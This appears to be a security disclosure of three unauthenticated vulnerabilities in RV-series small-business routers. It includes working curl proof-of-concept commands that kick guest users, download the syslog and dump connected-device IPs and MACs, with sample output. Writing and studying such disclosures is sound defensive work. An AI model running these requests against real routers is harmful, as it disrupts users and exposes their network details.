CVE-2019-1897: Guest Network Denial of Service
There is no authentication on guest_logout.cgi. An unauthenticated, remote attacker can leverage this to kick users from the guest network. To achieve this the victim's mac and ip address need to be known (see CVE-2019-1899 below). A proof of concept follows:
curl -vv -d "submit_button=status_guestnet.asp&change_action=&submit_type=&gui_action=&cip=10.0.1.100&cmac=10:08:B1:A0:82:29a" -H "Content-Type: application/x-www-form-urlencoded" -X POST http://10.0.0.1/guest_logout.cgi
CVE-2019-1898: Unauthenticated Access to the Syslog via HTTP
An attacker can download the device's syslog simply by executing the following command:
curl http://10.0.0.1/_syslog.txt
The syslog, normally only accessible after administrator authentication, contains useful information about what features are enabled, DHCP logs, PPTP logs, log in attempts and successes, etc. An attacker can learn what types of devices connect to the router and when. Some redacted examples:
2010-02-27 01:14:30 RV215W daemon.info httpd[477]: Invalid username or password from x.x.x.x.
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: local IP address x.x.x.x
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: remote IP address x.x.x.x
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: primary DNS address x.x.x.x
2016-07-21 21:27:24 RV130W local2.notice pppd[1364]: secondary DNS address x.x.x.x
2019-03-01 19:09:40 RV110W kern.info LAN2WLAN: Add entry: hash:32/33, cnt:6/6, index:8, sip:x.x.x.x, dip:x.x.x.x, smac:xx:xx:xx:xx:xx:xx
2019-03-02 05:00:40 RV215W kern.info wl0.0: IEEE 802.11 STA xx:xx:xx:xx:xx:xx associated with BSSID xx:xx:xx:xx:xx:xx
2019-03-04 06:48:17 RV215W daemon.info udhcpd[21385]: received REQUEST from xx:xx:xx:xx:xx:xx
2019-03-04 06:48:17 RV215W daemon.info udhcpd[21385]: sending ACK to x.x.x.x
CVE-2019-1899: Connected Device Information Dislcosure
An unauthenticated, remote attacker can acquire the list of all devices that have connected to the router. An example follows:
curl -d "submit_button=status_guestnet.asp&change_action=&submit_type=&gui_action=&cip=20.0.0.0&cmac=aa:aa:aa:aa:aa:aa" -H "Content-Type: application/x-www-form-urlencoded" --insecure -X POST https://10.0.0.1/guest_logout.cgi | grep datalist | grep new
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 109 0 0 100 109 0 946 --:--:-- --:--:-- --:--:-- 947
curl: (52) Empty reply from server
100 7076 0 6967 100 109 19038 297 --:--:-- --:--:-- --:--:-- 19038
var datalist = new Array();
datalist[0] = new AAA('','192.168.50.1','40:B0:76:2A:C2:14','1','0','WAN interface');
datalist[1] = new AAA('ubuntu','10.0.0.102','00:0C:29:15:4C:FC','0','0','Ethernet LAN');
datalist[2] = new AAA('TNS3791L','10.0.0.101','AC:87:A3:31:51:CA','0','0','Ethernet LAN');